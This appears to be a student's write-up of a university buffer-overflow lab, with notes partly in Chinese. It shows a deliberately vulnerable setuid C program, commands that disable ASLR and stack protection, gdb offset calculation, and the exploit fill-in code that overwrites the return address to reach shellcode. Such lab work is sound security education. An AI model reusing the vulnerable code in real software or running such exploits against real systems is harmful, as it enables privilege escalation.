SP-lab2.3

Lab 2.3 Buffer Overflow Vulnerability

Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege. It uses Ubuntu VM created in Lab 2.1. Ubuntu 12.04 is recommended.

实验步骤

- 先编译shellcode
- 再按照实验要求写好对应的C语言代码并保存

```
randomstar@ubuntu:~$ vim stack.c
randomstar@ubuntu:~$ chmod 777 stack.c
randomstar@ubuntu:~$ cat stack.c
/*stack.c*/
/*This program has a buffer overflow vulnerability.*/
/*Our task is to exploit this vulnerability*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
  char buffer[12];

  /*The following statement has a buffer overflow problem*/
  strcpy(buffer, str);
  return 1;
}
int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;

  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}
```

- 安装一些必要的组件，并设置禁止地址空间的随机分配，通过命令`sudo apt install gcc-multilib -y`来安装32位的编译方式

```
randomstar@ubuntu:~$ sudo rm /var/cache/apt/archives/lock
randomstar@ubuntu:~$ sudo apt install gcc-multilib -y
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  gcc-9-multilib lib32asan5 lib32atomic1 lib32gcc-9-dev lib32gcc1 lib32gomp1
  lib32itm1 lib32quadmath0 lib32stdc++6 lib32ubsan1 libc-dev-bin libc6
  libc6-dbg libc6-dev libc6-dev-i386 libc6-dev-x32 libc6-i386 libc6-x32
```

```
randomstar@ubuntu:~$ su root
Password:
root@ubuntu:/home/randomstar# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

- 在root中编译相应的程序并执行如下操作(采用32位进行编译)

```
root@ubuntu:/home/randomstar# gcc -m32 -g -z execstack -fno-stack-protector -o
stack stack.c
root@ubuntu:/home/randomstar# chmod 4755 stack
root@ubuntu:/home/randomstar# exit
exit
```

- 通过gdb来调试对应的可执行程序stack，使用disass命令来查看汇编代码，这里我们重点关注函数bof的汇编代码

```
(gdb) disass bof
Dump of assembler code for function bof:
   0x0000122d <+0>:     endbr32
   0x00001231 <+4>:     push   %ebp
   0x00001232 <+5>:     mov    %esp,%ebp
   0x00001234 <+7>:     push   %ebx
   0x00001235 <+8>:     sub    $0x14,%esp
   0x00001238 <+11>:    call   0x12ec <__x86.get_pc_thunk.ax>
   0x0000123d <+16>:    add    $0x2d8f,%eax
   0x00001242 <+21>:    sub    $0x8,%esp
   0x00001245 <+24>:    pushl  0x8(%ebp)
   0x00001248 <+27>:    lea    -0x14(%ebp),%edx
   0x0000124b <+30>:    push   %edx
   0x0000124c <+31>:    mov    %eax,%ebx
   0x0000124e <+33>:    call   0x10b0 <strcpy@plt>
   0x00001253 <+38>:    add    $0x10,%esp
   0x00001256 <+41>:    mov    $0x1,%eax
   0x0000125b <+46>:    mov    -0x4(%ebp),%ebx
   0x0000125e <+49>:    leave
   0x0000125f <+50>:    ret
End of assembler dump.
```

- 这里我们看到strcpy这个函数传入了两个参数str和buffer的指针，根据从右到做的压栈顺序，buffer对应的地址可以在0x0000124c中的寄存器eax中找到，因此可以通过`b *bof+30`来设置断点，然后通过r命令来启动运行

```
(gdb) b *bof+31
Breakpoint 1 at 0x124c: file stack.c, line 12.
(gdb) run
Starting program: /home/randomstar/stack

Breakpoint 1, 0x5655624c in bof (
    str=0xffffcfc7 '\220' <repeats 24 times>, "l\320\377\377") at stack.c:12
12          strcpy(buffer, str);
(gdb)
```

- 运行到断点时，通过`i r eax`命令来查看寄存器中的值，得到`0xffffcf6c`，同样地可以用`i r esp`命令来获得函数的返回地址为`0xffffcf80+4`，此处的+4是因为ebp被压入栈,因此需要+4

```
(gdb) i r eax
eax            0xffffcf6c          -12524
```

```
(gdb) i r esp
esp            0xffffcf80          0xffffcf80
```

- 计算差值可得地址的偏移量为0x18，也就是24，如果需要buffer覆盖原来的地址，只需要修改buffer+24的返回地址，堆栈增长的方向是bof函数参数，返回地址，old ebp，buffer的参数(从高地址到低地址)，而返回的地址指向shellcode存放的地址，我们假设存放的地方在buffer+0x100处，则实际的地址是`0xffffcf6c+0x100=0xffffd06c`
- 因此exploit.c文件的代码填写处中应该填写的内容是

```
/* You need to fill the buffer with appropriate contents here */
 const char address[]="\x6c\xd0\xff\xff";
 strcpy(buffer+24,address);
 strcpy(buffer+0x100,code);
```

- 本次实验最终运行的结果如下，可以看到我们得到了系统的shell

```
randomstar@ubuntu:~$ gcc -o exploit exploit.c
randomstar@ubuntu:~$ ./exploit
randomstar@ubuntu:~$ ./stack
$ whoami
randomstar
$
```